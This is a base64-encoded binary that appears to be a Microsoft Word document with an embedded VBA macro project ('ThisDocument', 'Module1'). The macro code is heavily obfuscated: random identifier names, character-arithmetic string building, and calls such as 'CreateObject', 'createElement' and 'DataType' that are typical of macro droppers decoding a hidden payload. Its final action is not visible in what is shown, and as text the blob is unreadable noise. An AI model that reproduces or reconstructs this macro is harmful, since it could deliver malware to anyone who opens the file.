ZHNYT0RvAGM1cmdUMVlqAUBGbFl3SU9GNQBTTFc4Q1ZtMgBOOEx6UV95YwByZUV3RjhfawBfal9r Tm9JTQBrYzV6UGUyVQA0YmxhVlg2Twh2DQoBeklMNFYAZFBKMzNfalmANUt4em9KbYJNAHZRd3gz REhZAHRKNURIc1J0AEVnTGJuTUp4AFk3N2tfOXVXAER6TTFZX2JZAEd0R3JfZk9KIDJDdEY4SVBK SwBnRThXNkZmWAB0WGY5UmRaVABfX3ZUM19hcgAzcHVzNk5tWQAzbnB0WnBmUkBqVVdTZ2ZUVVoA cnRCSnpRYW4ATmROVHdhZXQARl9ueG8zU2gAY3NncUdKVXMAX1FNZGtOQ1VgTUVLS1GJVkE3dgAz MWhaWlExdQB4WWNwRXN0ZUBER2ROZU1COEEARzJCUmpocUYAT2U2bXpodDUAYU1mWERHZzcAbGJq RkR2clAAb3paZ1g4T0sCRok1UkxKSF80ADZTTEJfOHg3ADlUX29GOGlDEGN2bjgTMEdLZgBiOFRR dDVVdwhmaG2AhHJSMTMAWkxTUkdMZk4Ac1hjRjR4R3ACaM0tQm1lS0Q4AFBIaFN1S3JEAFVGRXE4 S0l6BEZ0AhdlSzZTWQBueW9KS3BuVABxVU1CSGkydQBDX1RGOXdFSABjV0pmdW8xQgA3czRkX0Fm VgBxdlhUdElBUBBNOWJK6RhrS1kAenJmcHdkR2gAQWNLX1luV28AQWM3WExYdFcgUlY0UXazGUxw AFl0UkN1aFNyADJpTFd6Z0RqAGt5UlpxbXZMAGE4R1daaXl2YHd3dVRGyRkjXG4ASFN3VUt1M2EA VUJtaXc4TncASDlLTGx0M24AVWhNb21zeFIAaWVEUHBpbWUAbFk5MnhCbVcASEhFd3IyQViAWkdf bWZMeINVAGtsRXB1X3lfAEEzek51UmFiAHU4djdfa3ZZEDZQUXNCI1lpQwB2c2NfTEtzNQBoN0xZ RFFIbwBPVlNCeDlXQQA5eW90Y3ZfaQBaekRkUFJOT4BBQ005MktyaSIAR3drQVZfZ00AdlRiX1Zl OVoAdTFsOExNbVcAN0dEX3V1V0cAd0VnNzJ0cmOAM2xQSXhRMVMkAHNCa2FHTkxlADRITERNQWdh AEE3U0xPOEFnAF9HSF9pNmNpBm+JI2FUT1M3SVKATzJqamx3b4IYAHBjYVVKT0tjAERqdEFDYTlF AEY1OG9tWDhxAGpRcXBabG9VIEwyUm5w6RZzWABvUF9qbmg2RQB6UHZib25HQQBRZXR1M2hlQoBa NVh3SUdTMxUAWVdlUVhod1IAR21KelluSTkAcF8xQUc1N2WARnVCSHNIR+0UAHI2VURJVnJhAGNL bEZxcV9XAFA2cnFSRktjCFlfSUOGZW5pOBBkTkdjoI9TVlgAZjVSendZb24AMXZaWmxqdDKAbUlL XzZ5bEAFAcfca2Foa19LRgBXUzNqT0ppSwB0NzF2dmdEawBnc1labkZQYoBwUm9OVXpEo2MBztxv b0JFczljAHBEOGFGREN6AF9neUEybnRhAFBDWTQ3ZFR6ADMzUUVFZDcyEGhOclVJGSAgIABPRlI4 SE1HegBOUDdpcGFSXwB0NWRIM2JKXwBqakR6MlBTVgBuZmNOOVo4cQBKaFFialJyaQBERmpIVmRf dwA2TVdoSVE4OAA3aTVJOERBUgA3djdTSnFkUAAxZHV0b0pfSABlcFJ0Q1lnMiBqUmVfVyAbRVEA SmlncGxNc0WAcW5mTVJ1aeDRAENociQoMzY2ACAtIDI2OCkgRCYgIgI0ODMQATOSNxgBNTIRATQy NgKIMjg5EAEyNDMXAUQ3NRABMTc3FwE1EXEEMTU2FgE0NDhpMAIzM1kDN1IDNwIyIjORBTE4NVYD MzQWMTACEAcpkzdwb0gAV21haXBleUoAMzVNdUNSX2YRsipKc0fwMjZzaQBpN2JtNVd0awAzQk9k NW1TRABxV0oyczNoYkBxZ2xoRjXZKmsAcHI5RWdVZzcAZmJJSVB4Qk8AX3djZVd1MXoIcFg5EARK YzdZAGl2NWZ2cUlZwG1ZaXNQbtIb7x8AUGZ1bFlMNDEASFlIVmxpdVAAb0t6TU5TaF8AdVU4R1pP NkYAVE5FTVkxZ0wQbzR2Ra6CVGZ6ADFHNGdZWVk3ADh0MUNOdVkyAmMCDUJBVmJnMQB4bW1oVGZh VwBZeEZQUlVYcAA1eUhObjljNwAzZDRsalNJVwRSUBkNRTN2el8AWWVWWk5GZEUAZURVRWdTUUsY eEhwoz6eC3lseAB2RW1zN0JPZQA0X3Nyc1FoTgB5WFdXZ05NbIBDQURQc19K+SoBIkJ2cWpTaldm AERPaGFfd2poCDRPNMIKek9aTgBPZzJBbzY3OAB2eDNjNUFxTQBuYTFTRzl2TEB4YmFJQXlpCk4A NHhnWkJhaXEAakZQdmxGU26AZkxBTldYRf8VATGJRlB0bktMYwB2NzdpOW5XagBudV90UEwxTABJ RWR4NTZfaQJ6OQogIFNldCD3X4xfjF+MVF+MX4xfjFWMCSE1cmUwFk9iamUAY3QobE1UOVFANDdG aVRwAEVBAHpSNHplZG1fAGlxY296Z2hfADhYa1ZuY0NVAGNLQWViQVF4AG1ZUXFycHFTIDhMdFF3 tC5lcSBaSFB2VhIWZEUAU1N5Q0ZvTzUAZ05JbUYzT0QAamhwV2h5N1YAc2I2N2FWOHEAT0ozZlZF OHkUZzmAjkv5Flh4SgBfcExwRWZjVgBhUm5yUmNJTwBhVzVfcnBjagAxemlaSzdmRABHdVVwdUFI bVBYSTV2X1oKchhNAGRNYzZ3YndiAFdLa3lPNkJJAGN2aWpmRmNkAFpOUGpndXBQAHNrX0xyX3Jr gFNSOGRISzOJGUHBI3FWX1pf43FlAHBWczhlaEpLADRrZFRfbTF4AFpiQzdPTEg5AFVOVGlNZlRv YGZNNXFiUIYnWmQASFpGWFU5eEUAT3lnaTc3dk4AYk10bE9NajgAV1B5d3pySFUD77BiC2ZIeHY5 ZwBHX3RvN1ZydAA4YWNxRk41egBHX19JX09nbwBLMjlETkVtYQR0RN0KRkd5UloQNEVCMeIXT29t AGhyN3BfeHB5AGYyZ0RjRFZuAGQyd0I3Q0Z2IF95aUlDUAhfaAE5F1NPRWhfeXQANWdNanV5VWYA YWY5YmxwZWsASXBJTWZ2aGQIT0Q0kKw2djdRAEJkMktNX01tDGphEghOOld3VjIAd241MjVrTUcA OXNTcDRqWTQAaUtlVG5fcjgAYUhfMktFRWIAcEI3YWtEMVXARDNlSDFnmQwDMf9Pj0+PT49Hj7At PzU/NT81Tz81n8GfwZbBLmMSNUUAbGVtZW50KCIAdW1QdE9PZ04ARHMxS2MyUTICIoQyRWxMcDFK AFFBTXY1Nlp1AGpUNjJsMTkxEG04UWXCG1RJUAB0Y2lGNENWbwBkTjVKb3hJZQBubV90cjdtZYA5 Z004TVhUEK0IYlJV+Rt5ZXJMAG5abHFvU0NjAGFsMk9YZ3d6AERHVnhYWkU0AF9DNFQxSXlGAFZn RGVBeFJMDElkrxsRM3V1YWkBUARhUHFIM3hNAFRxbGxZcWxRAHd1MzFjUXlPgHhIbjNuVGKzAwEY 71Nxb1gyRzcAYnJ5SVJKcHcAYTFjOG9wMXJAVmtBMl9O8gxoAF9OR1FxQUxYQG54WUdtRtA7VQBL QUpVdndiOABSdnpON013UARJRMkMQ1dfWm4ARFIxT3JfTl8AN3RtQzJWbWEAU3lycllnWXrgS1NV N2Hw+yAAIvwAQLkACkVuZCBJZg0ACkRpbSBPdFYARUI1ZnMzQ3EAM2NSSTQ0ZWwAcmhVcU1lMl8A RFhyUW02QVcAUWVPaiBBcyAARG91YmxlDQoASWYgImV2X3kAbnJuIiA9ICIAZ0FYYVp5UUoAM0NH akg0YlQASnRENmI1MlgAbTVFNmJmQ2UAMTZiQjlQIiAQVGhlbgPod255AGNOVm9aa1N0AG0zbnFi bEhfAHhlclVyVV9sAHJMYVlVMzNPAFFsWm1CN2NkAGtyMkh6SGJ5IDM5YVVEAoVhdAMAgwnCUkZG TXM2AE1IM1h0X1hYAHpLZDh6QU1zAF9ienZpc2xmAFVhZko5ZVJYIFFfTlRyCcYgIABuSFN3VUt1 MwBhVUJtaXc4TgB3SDlLTGx0MwBuVWhNb21zeABSaWVEUHBpbQBlbFk5MnhCbQBXSEhFd3IyQQBY WkdfbWZMeAAuRGF0YVR5cAJlgIJPRlI4SE0AR3pOUDdpcGEAUl90NWRIM2IASl9qakR6MlAAU1Zu ZmNOOVoAOHFKaFFialIAcmlERmpIVmQAX3c2TVdoSVEAODg3aTVJOEQAQVI3djdTSnEAZFAxZHV0 b0oAX0hlcFJ0Q1kAZzJqUmVfV2gAa19FUUppZ3AAbE1zRXFuZk0IUnVpg8dSR0dhAHNsbVhBalN6 AGhGblc3VmRmAQLOVkJRYkxZUwAyX296djJBcABTclN5RThGVAB6TFNaWG5BVABsdHhUUHpvTQBT UnRSVHRnNwhnWVMJam5sZ1cAZ05wYU8yOTUATURUTEFEb1kAY0NFZHdMeF8AX29WMjhTVXGARFVP RWlXWNNmAFRUVmZNX2ZlADMxX3lrZkNqAFRZcFVpZUU3ADNxbEhveGl5AEVtdEhZcGlfMGhJY0EJ Z8GYZHQASkF0NW8zQXkAeE5ZbWZXV3kGRECRAJxKczh1MwBKbnpwd1lCRAA5WDdaRjQzNAA1RHc1 NF9CQ4BrSlNYc3V1STEAdVlGaU95TE0AWXZKWU5pNk8ANEpWT25JeTkASmt2RGxfbVMATGxKQTlU bEQwcXpXSIOIzphpdwBjbjRZTVZlRQBraUdYbkJIawBTR3pLa1c1TwBoZ1FneHVwTwBqd1JYcW9Z NwBxZmlaMTY3QgxnTYOrCM1XS19zAG16b0Q3UXkzFDF4gmdzQJtyM2QAX3hkWGxqT18AaXFvV0tq TW8AQ3h0MnNNc2cAX0dFUndTWFEAODNGT01OTEQEeDfJNXJGTWJrAE9kX3p5OEF0AHpfN1djZDdL AE5SVllSYzdaAHdqb0R1ZWtSAGZmeXdxY2lTADZHUEpQenJpBHp1U2pjeHpDUQB2Z25CTVE3OQBU Ym0xN25JYwB0c0NiSkx2SAA3MUVMX0J2YQBjTUNPQ1pUQQA5RzVxbTl1NIdJNv9p/mlUZXh0YGkA TUZpQVRySmoAV1ZVTmhVU2IARmZnWW5BWU4AMVBQcVBXWnMAdWdOX2FkR1IARk1PQzZhSFQAVjEx b0syR0wAcFNIQ1piUjkANWxjX0VNX2sAWE5RWnRWUlgARjZTWWZ0ZzMAWUJXR1REMW0CNGNmcFBy X3dpAEZodGRfVUtzAjjiMVJwSldzagA0WlJXQWJCUABEZTdFSmZzUgBxbTNGZGRoVQA4eU5IbEFh agBCUnZ5WHB2RUBEUW85Rk5JMkwATjk4ZmRrRVgAMjdYSk0ybUMARFVEMXQzM18AMXZDTHhpTXMA eUI0bUI0RVkAS1Y3WlFrMkoIbWw0FDJKR2FVAF84b3FoM2lSAHNvVUo4X0FIAE9tblc1YXFOADMx aEtuYmdwAGlnZ0NNVzFRYHZucWtPiTHhZ3EATGxqdWRmYkQAWWxPWnhwVFcAbU9GbmtZYTcCNEId dVVqUHRFADlLbjZqMjdBAExkRzV3d2lKADdYX2Fjal92IEltem10KRtFYwBIMklhbEFXdgB1UkVh RVFmSQhGUGq0fktPUmwAV0UydTdCUlAARUE4QmxVN0gAaGtOR1ZIOWQAbGNzVUhxUDIgaWdDZUhN Fmx5AHI5eVRfUmRmIHRTYXlq4hRJTgBORlZHYlE2RgBXc0ViX1JaOQA2dWVIZ3c0SkBHNjlCcTKJ FHAAMllSeFh2Y1UAWUJyN1RMQloAYTJhMnhjQXAAYUtLX2ZSNFgAZENNQ3ZkQkxgYVhFRXmiD059 eQBoOEVkZ0hOXwAxV1drVktpYwB5RkdSYVE5OABuN3pOWVlXNCAxa21MNKqVICAAdG5XOVlreEMA REE2cjJVVl8Ac1lsNVNOekEAbVNiN3RCTk0AWHV2aTV2SEhAeE1vTlN5IN16AGFDT1ZoZHdVDlQA Xh/RHNFOb2RlwQHRZFZhbHXA48E/AHV0SGRKeW5KAEd5bDhpOTdlCFdQOeIpRnpqUgBfaWE5Y3R0 aABWaXdUV0k2RQBIU2N5QWtheQJYQBNVTXZKSmEARzVyekpZVk8AT1h1bWlVWkkIenZWOlVRV0dr AGplWGdLSHZsAEg2QUFWUUhDDGF0HxUxhlVCRHQAVzl2S1c5eFkASXN2Rk9uQXkAREZrR2NsU1kA dmdtUlJmQl8wZ3lHWYMwCFN0dgB3c3VQTU9CYwBCbG9OWTVPdARuVTIMWHpVZEYAbHFwaVlma0QA Q1V5U3R6Q0oQZmRIUFBub2toEFZ0WGswPGxIaABmcGs3WWhsM4BqamUzakkxuSIAVEtNWnU0QTcA MUl6blpaWEEAR3FjbXozS3oARk0zRF9CYkgATXRpTURKV24AZXJzd2kzSmEwS2hXS/8N8Q1GZgBB YV9WU2ZBNgA3eHBwWnAxSQA3NlJ5R0ZIWAJQICgyWm5PQnEAc0ZNcDF6bGiAdTVFMmJkasAWMDJQ VzPyBAgPUmoARUZkakRlSVkAbnM3czZPX2IETGgTD0xRWHRnAHp6eExXdFJ5AHhsanNUQmRPAHRw THNmel9VAFVZRHhnX1JxBFY2CQ50THA3QgA0WUY1U25URgBJRF9ia0pfXwA5dWJ6OG9kUQByUjJW WFFRaAJ24BdZNXRwQVEAM3RhbHBmVTYwdFpNRn8OcQ5ETQA0eUtfdThyMgB1ZW83MXFqRABBdXlv dXR5RQBsVUFhZnpUbwBpRFdpcnM1QwxoX5kNwZpGdW5jSHRpbwCgDQoRAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAXwBWAEIAQQBfAFAAUgBPAEoARQBDAFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAABoAAgECAAAAAwAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAzAAAAQx8AAAAAAABkAGkAcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAACAP///////////////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAABOAgAAAAAAAFAAUgBPAEoARQBDAFQAdwBt AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIA//////// ////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAFwAAAAAAAAAUABS AE8ASgBFAEMAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAABAAAgEBAAAABgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAg AAAAtAEAAAAAAAA4NXNZYkpCNGN1bHdGVTlSYmpHSmV0Um9DX01zctczEAA1hAgA/wMDAEJOeEtl cnFyYjNzUUhQNEdKcnp4UEM0V2toTWxEVlY3UkphZXdram1Qal9wVzNVY1hmMlZXl54QAGGECAD/ AwMATUZpQVRySmpXVlVOaFVTYkZmZ1luQVlOMVBQcVBXWnN1Z05fYWRHUkZNT0M2YUhUVjExb0sy R0xwU0hDWmJSOTVsY19FTV9rWE5RWnRWUlhGNlNZZnRnM1lCV0dURDFtNLM8EAAohAgA/wMDAFNz R0NXeHdFTVRLdFhfN2VDN0k0WFV4UmxYUkhQdk50dkZCQXdDQkPhtBAAN4QIAP8DAwBtbHVYdnhp TzFJOVZobjg1eVo5ZG14WkVaOFA4NnE5NEY4dHNDNHlqcjNZbE5XTGJERThsQ2dQ3boQABeECAD/ AwMAa25UTHdJZUhpQTdUV195bzZhdGtIdF/8JBAALYQIAP8DAwBhU0ZTUUNFXzdjbjF1YTkycmFm MzdrX09FUW50YVVsM3poMjJveUxFY185enI1cxAAKYQIAP8DAwBrTHFIYVg4N0t6bHpWRzZLYUpM SVJTdTZncE9YZEF1ZmdXUF9zT2NMShZmEAAlhAgA/wMDAGlwVng3ZEtlX2ZOeFhlUGF1anVHaGJK X19ROXo1YUtxXzlzbVc2BBAAJ4QIAP8DAwBxUndIODNzX1VjUm1HOTZEeHNVZFhjS0Z3aDNBSWU4 UF81V1VOZ2nMkBAANIQIAP8DAwBjWUFkM0ozejZaZlJVQVlOTEVvVVlfcTR5ZEJnS2ppeFBIMl9W OFE2M3E3aWxMbE5ub0lOSnkQACOECAD/AwMAWWl4QmZUYUgzZmI1S3M4ajQ0NDRvWlhWWmFwaHFk M1ZVaDl2kBAAIYQIAP8DAwB2YVBVYl8zcUphT01VVUtfZTd4dDhKYWtfbTJaWG1faGxbBxAAHIQI AP8DAwBPa2tUWW9pY2tyQmFGWDRnenRuYU1ZZGZkV1BwQMQQACqECAD/AwMAb3YxajJXcTNXbHlR NzdOa2xjdzF0YzhfNHFzekZfeUFXMnd5emFocnFfn9sQAHWECAD/AwMAaXRRejVxZmlBa19iWElu alIxcjFnclNxanBVM0hMYXlUYnlaS1R4VU1uYlRkc1hPRG9jNXJnVDFZak9NVWxZd0lPRjVTTFc4 Q1ZtMk44THpRX3ljcmVFd0Y4X2tfal9rTm9JTWtjNXpQZTJVNGJsYVZYNk92+vsQADCECAD/AwMA SktnRThXNkZmWHRYZjlSZFpUX192VDNfYXIzcHVzNk5tWTNucHRacGZSalVXU2dmQHEQAC+ECAD/ AwMAb1pydEJKelFhbk5kTlR3YWV0Rl9ueG8zU2hjc2dxR0pVc19RTWRrTkNVTUVLS1GiJxAAGoQI AP8DAwBSTEpIXzQ2U0xCXzh4NzlUX29GOGlDY3ZuOMacEAAmhAgA/wMDAEdLZmI4VFF0NVV3Zmht dzF0clIxM1pMU1JHTGZOc1hjRjR4R3Both4QACCECAD/AwMAa0tZenJmcHdkR2hBY0tfWW5Xb0Fj N1hMWHRXUlY0UXaXyhAAJ4QIAP8DAwBMcFl0UkN1aFNyMmlMV3pnRGpreVJacW12TGE4R1daaXl2 d3d1VEYq4xAAQIQIAP8DAwBuSFN3VUt1M2FVQm1pdzhOd0g5S0xsdDNuVWhNb21zeFJpZURQcGlt ZWxZOTJ4Qm1XSEhFd3IyQVhaR19tZkx46F0QAC+ECAD/AwMAR3drQVZfZ012VGJfVmU5WnUxbDhM TW1XN0dEX3V1V0d3RWc3MnRyYzNsUEl4UTH74BAAIYQIAP8DAwBzQmthR05MZTRITERNQWdhQTdT TE84QWdfR0hfaTZjaW+vphAAIYQIAP8DAwBzWG9QX2puaDZFelB2Ym9uR0FRZXR1M2hlQlo1WHdJ R1MLDxAAH4QIAP8DAwBZV2VRWGh3UkdtSnpZbkk5cF8xQUc1N2VGdUJIc0hH0yUQACeECAD/AwMA a2Foa19LRldTM2pPSmlLdDcxdnZnRGtnc1labkZQYnBSb05VekRoZpAQACuECAD/AwMAb29CRXM5 Y3BEOGFGREN6X2d5QTJudGFQQ1k0N2RUejMzUUVFZDcyaE5yVZtxEAADAENockt+EAAxhAgA/wMD AGtwcjlFZ1VnN2ZiSUlQeEJPX3djZVd1MXpwWDk1V3RKYzdZaXY1ZnZxSVltWWlzUG5uYxAALoQI AP8DAwBvUGZ1bFlMNDFIWUhWbGl1UG9Lek1OU2hfdVU4R1pPNkZUTkVNWTFnTG80dkVsKksQABmE CAD/AwMARTN2el9ZZVZaTkZkRWVEVUVnU1FLeEhwb7vcEAAihAgA/wMDAHlseHZFbXM3Qk9lNF9z cnNRaE55WFdXZ05NbENBRFBzX0qyqBAAGIQIAP8DAwBONHhnWkJhaXFqRlB2bEZTbmZMQU5XWEXw PRAAIIQIAP8DAwBGUHRuS0xjdjc3aTluV2pudV90UEwxTElFZHg1Nl9penIWEAAMAENyZWF0ZU9i amVjdPiKEAAwhAgA/wMDAFh4Sl9wTHBFZmNWYVJuclJjSU9hVzVfcnBjajF6aVpLN2ZER3VVcHVB SG1YSTV2U7/7EAAxhAgA/wMDAEZNZE1jNndid2JXS2t5TzZCSWN2aWpmRmNkWk5Qamd1cFBza19M cl9ya1NSOGRISzP2aBAAIoQIAP8DAwBkSFpGWFU5eEVPeWdpNzd2TmJNdGxPTWo4V1B5d3pySFVw dh8QACiECAD/AwMAZkh4djlnR190bzdWcnQ4YWNxRk41ekdfX0lfT2dvSzI5RE5FbWF0RHkvEAAz hAgA/wMDAFNPRWhfeXQ1Z01qdXlVZmFmOWJscGVrSXBJTWZ2aGRPRDR0RWc2djdRQmQyS01fTW1q YSsvEAAyhAgA/wMDAFd3VjJ3bjUyNWtNRzlzU3A0alk0aUtlVG5fcjhhSF8yS0VFYnBCN2FrRDFV RDNlSDFnbxYQAA2AAAD/AwMAY3JlYXRlRWxlbWVudOpIEAAuhAgA/wMDAHllckxuWmxxb1NDY2Fs Mk9YZ3d6REdWeFhaRTRfQzRUMUl5RlZnRGVBeFJMSWQW7BAAJoQIAP8DAwB1dWFpckxuYVBxSDN4 TVRxbGxZcWxRd3UzMWNReU94SG4zblRiZExREAAkhAgA/wMDAENXX1puRFIxT3JfTl83dG1DMlZt YVN5cnJZZ1l6S1NVN2FBcx9MEAAnhAgA/wMDAE90VkVCNWZzM0NxM2NSSTQ0ZWxyaFVxTWUyX0RY clFtNkFXUWVPaljSEAA4hAgA/wMDAHdueWNOVm9aa1N0bTNucWJsSF94ZXJVclVfbHJMYVlVMzNP UWxabUI3Y2RrcjJIekhieTM5YVVEUD8QACuECAD/AwMAUkZGTXM2TUgzWHRfWFh6S2Q4ekFNc19i enZpc2xmVWFmSjllUlhRX05UcqTYEAAIgAAA/wMDAERhdGFUeXBlJT8QACuECAD/AwMAbmxnV2dO cGFPMjk1TURUTEFEb1ljQ0Vkd0x4X19vVjI4U1VxRFVPRWlXWAB+EAAshAgA/wMDAFRUVmZNX2Zl MzFfeWtmQ2pUWXBVaWVFNzNxbEhveGl5RW10SFlwaV9oSWNBXrEQAC2ECAD/AwMAdVlGaU95TE1Z dkpZTmk2TzRKVk9uSXk5Smt2RGxfbVNMbEpBOVRsRHF6V0hyHvcQADWECAD/AwMAaXdjbjRZTVZl RWtpR1huQkhrU0d6S2tXNU9oZ1FneHVwT2p3Ulhxb1k3cWZpWjE2N0JnTUSe1xAAN4QIAP8DAwBy Rk1ia09kX3p5OEF0el83V2NkN0tOUlZZUmM3Wndqb0R1ZWtSZmZ5d3FjaVM2R1BKUHpyaXp1IwcQ ADWECAD/AwMAY3h6Q1F2Z25CTVE3OVRibTE3bkljdHNDYkpMdkg3MUVMX0J2YWNNQ09DWlRBOUc1 cW05dTSr0BAANYQIAP8DAwBMTjk4ZmRrRVgyN1hKTTJtQ0RVRDF0MzNfMXZDTHhpTXN5QjRtQjRF WUtWN1rMYYUAAAEA/wkEAAAJBAAA5AQBAAAAAAAAAAAAAQAFAAIA+gAqAFwARwB7ADAAMAAwADIA MAA0AEUARgAtADAAMAAwADAALQAwADAAMAAwAC0AQwAwADAAMAAtADAAMAAwADAAMAAwADAAMAAw ADAANAA2AH0AIwA0AC4AMAAjADkAIwBDADoAXABQAFIATwBHAFIAQQB+ADEAXABDAE8ATQBNAE8A TgB+ADEAXABNAEkAQwBSAE8AUwB+ADEAXABWAEIAQQBcAFYAQgBBADYAXABWAEIARQA2AC4ARABM AEwAIwBWAGkAcwB1AGEAbAAgAEIAYQBzAGkAYwAgAEYAbwByACAAQQBwAHAAbABpAGMAYQB0AGkA bwBuAHMAAAAAAAAAAAAAAAAAEAEqAFwARwB7ADAAMAAwADIAMAA5ADAANQAtADAAMAAwADAALQAw ADAAMAAwAC0AQwAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAANAA2AH0AIwA4AC4ANAAjADAA IwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAIABP AGYAZgBpAGMAZQBcAE8AZgBmAGkAYwBlADEAMgBcAE0AUwBXAE8AUgBEAC4ATwBMAEIAIwBNAGkA YwByAG8AcwBvAGYAdAAgAFcAbwByAGQAIAAxADIALgAwACAATwBiAGoAZQBjAHQAIABMAGkAYgBy AGEAcgB5AAAAAAAAAAAAAAAAALwAKgBcAEcAewAwADAAMAAyADAANAAzADAALQAwADAAMAAwAC0A MAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAAMAAwADAAMAAwADQANgB9ACMAMgAuADAAIwAw ACMAQwA6AFwAVwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBcAHMAdABkAG8AbABlADIA LgB0AGwAYgAjAE8ATABFACAAQQB1AHQAbwBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAASACoAXABD AE4AbwByAG0AYQBsABIAKgBcAEMATgBvAHIAbQBhAGwAPQIgXggAAAAAAAAAKAEqAFwARwB7ADIA RABGADgARAAwADQAQwAtADUAQgBGAEEALQAxADAAMQBCAC0AQgBEAEUANQAtADAAMABBAEEAMAAw ADQANABEAEUANQAyAH0AIwAyAC4ANAAjADAAIwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwA ZQBzAFwAQwBvAG0AbQBvAG4AIABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABh AHIAZQBkAFwATwBGAEYASQBDAEUAMQAyAFwATQBTAE8ALgBEAEwATAAjAE0AaQBjAHIAbwBzAG8A ZgB0ACAATwBmAGYAaQBjAGUAIAAxADIALgAwACAATwBiAGoAZQBjAHQAIABMAGkAYgByAGEAcgB5 AAAAAAAAAAAAAAAAAAIAAgABAAQABAIAAAYCAQAIAgAACgIBABAC////////AAAAAP//AAA9AiBe DQD//////////wAAAQD///////////////////////////////////////////////////////// ////////////AQAAAAAAAAAAAAAAAAAAAAAAAAAx5QIAGABUAGgAaQBzAEQAbwBjAHUAbQBlAG4A dAAUADAAMwA1AGUAMgAwADAAMgAzAGQA//8TAhgAVABoAGkAcwBEAG8AYwB1AG0AZQBuAHQA//9A GQAAAAAAAAACAAAA9wMAAP//IAB2AE0AVABfAE4AbgBWAE0AMQBKAF8ATgBHADYAUABTABQAMAA0 ADUAZQAyADAAMAAyADMAZAD//xwCIAB2AE0AVABfAE4AbgBWAE0AMQBKAF8ATgBHADYAUABTAP// d+kAAAAAAAAYAgAAACEnAAD///////8BATgCAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////GAIAAP////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////AAIAAP////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////1Mg7vfL3whKicpNLIzN+RL/////AQAAACfkCtOG c9tHlfzs2S1wMir/////AQAAAP////9IAAAAgAAAAAAAcwF7AP8AnEIAAAAACQACgBQA/wMDAGFz AAATAASAFAD/AwMAY2FsbAAAPQADgBQA/wMDAERpbQAAQgAGgBQA/wMDAGRvdWJsZQAAWQAIgBQA /wMDAGZ1bmN0aW9uAABfAAKAFAD/AwMASWYAALIABIAUAP8DAwBUSEVOBARXb3JktWsQAAMEVkJB 9+IQAAUEV2luMTbBfhAABQRXaW4zMgd/EAADBE1hY7OyEAAEBFZCQTatIxAACARQcm9qZWN0MQoX EAAGBHN0ZG9sZZNgEAAHBFByb2plY3QtrhAADARUaGlzRG9jdW1lbnQ8nhAACYAAAP8DAwBfRXZh bHVhdGUY2RAABgBOb3JtYWzf2BAABoQIAP8DAwBPZmZpY2UVdRAABwRNb2R1bGUxYhEQABAEdk1U X05uVk0xSl9ORzZQU34WEAB5hAgA/wMDAE9GUjhITUd6TlA3aXBhUl90NWRIM2JKX2pqRHoyUFNW bmZjTjlaOHFKaFFialJyaURGakhWZF93Nk1XaElRODg3aTVJOERBUjd2N1NKcWRQMWR1dG9KX0hl cFJ0Q1lnMmpSZV9XaGtfRVFKaWdwbE1zRXFuZk1SdWlSSBAAPIQIAP8DAwBsTVQ5UTQ3RmlUcGlL dEF6UjR6ZWRtX2lxY296Z2hfOFhrVm5jQ1VjS0FlYkFReG1ZUXFycHFTOEx0UXdvVxAAFIQIAP8D AwBjYTROQ3NCcDZfVXZEZkVWajdiQwsnEAA1hAgA/wMDAExCVnRjM195em9hU2NTcWd5YlB4clN2 SzNEa1lSZG5uUHpVSkFCc1VQVHF3cWw4UTJyXzlWxa4QAB6ECAD/AwMAZDNOSnpZUW9lVV93Q204 ZWZ2cjRnV2s4Y1BfUmdqY38QACqECAD/AwMAdmRrMmpaZ0FfRnpoOTZmaDZwckNTNGY4V3VhbnVy SjFxSVgyb2VOZm9IduQQADWECAD/AwMAaEJ2WkVmVTVkcUc5YzE4bGN4OTNPVTU4enhnbTJZYUpW SlRkSjdvNVJ5TWJycnBmNEJCWWddMhAAFoQIAP8DAwBLb01TQkFWQ0NJdkc5bTlPY0FzOVBNTWoQ AC6ECAD/AwMAdUdWeF91ejVMNmtpYjhaRFVtWGdUY1VMeERWQ1laOXE4dmJLbktRUExOaUpXRM/F EABRgAAA/wMDAEVpeTdKb2E5ZkNPYzFnRmMzckhGNkVJd180SGhKYURnaUd6M2s2RFdRQkkzdDE0 ZVlrYzJ4VEZfWUE3T2YyeEQ4cjNycUwyNm50eTM2UENIXxdbEAA3hAgA/wMDAExfdFViV2tVT2NS dkJyU0JTYVR5NTdETTRVRTZSUW9SSzR6bEU0dHZ3RzZ3aW1xXzNhRldaN2y2rBAANYQIAP8DAwBO 